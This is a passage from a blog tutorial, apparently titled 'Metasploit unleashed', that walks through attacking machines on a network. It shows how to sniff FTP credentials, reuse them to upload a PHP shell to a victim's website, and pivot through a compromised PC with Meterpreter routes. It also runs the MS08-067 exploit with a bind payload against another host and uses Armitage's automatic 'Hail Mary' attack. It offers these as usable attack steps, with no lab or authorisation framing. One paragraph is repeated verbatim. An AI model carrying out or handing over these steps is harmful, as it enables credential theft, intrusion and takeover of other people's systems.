Now simply type run and it will start sniffing everything on the network. Let's say we have filezilla client on one of the machines on LAN. And let's say he uses it to send files to his website. We can record his username and password with this passive exploit.

When it gets recorded, you simply open backtrack console and type:

PHP Code:
ftp (ftp hostname) 
Then you input username and password which is also recorded, and then you use command 'put' to upload php shell from your PC.

[Image: MuYZD.jpg]

Example here:




Pivoting is most amazing part of meterpreter. After exploiting a PC outside your network you can use that PC as an access point through which you can access the rest of the network. In other words, by exploiting one PC on remote network, you can exploit every PC on one network. It opens up a huge list of possible targets. Use this with caution.

Okay, after getting meterpreter session, we need to find out more about the local network of the victim. Type Ipconfig/ifconfig. You want to look under Interface 2, not interface 1. Take note of IP address and netmask.

Background the session by typing:

PHP Code:
background 

Now we need to set up a route. As I said, we will be attacking from the PC we previously exploited.

PHP Code:
route add (IP that you noted under interface 2) (Netmask you noted) (Meterpreter session ID) 

Example:

PHP Code:
route add 192.168.0.100 255.255.255.0 1 

Type route print to see the route added. Now using auxiliary TCP scanner scan through the network to see which PCs are online. Let's say we got 192.168.0.102 online, and let's attempt to exploit it.

PHP Code:
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/bind_tcp
set rhost 192.168.0.102
set lport 4444
exploit 

And we will get new meterpreter session. We attacked through PC1 to PC2 in a remote network. I used bind payload to avoid problems.

Armitage

And we will get new meterpreter session. We attacked through PC1 to PC2 in a remote network. I used bind payload to avoid problems.

Armitage is one of Metasploit GUIs. It is most known for it's feature 'Hail Mary' which automatically launches exploits against the target. It is very similar to db_autopawn, which has been removed from metasploit in newer versions. Armitage installation on windows is pretty easy so I won't cover it. I will show you how to do this in BackTrack 5. So, start a new console and type:

PHP Code:
armitage 

Now if you want to use default settings, just click start MSF.

Armitage will now start.

PHP Code:
Click Hosts> Add Host. 

Type IP address and you will see some monitor appear in the GUI. Right click on it, and click scan. Then click:
PHP Code:
Attack > Hail Mary 

Now simply choose if you wish to attack by port, or by vulnerabilities. This is the best replace for db_autopwn.

                                  Sincerely Paid hackers
Metasploit unleashed - By Paid Hackers Metasploit unleashed  - By Paid Hackers Reviewed by amit on 01:44 Rating: 5

No comments:

Powered by Blogger.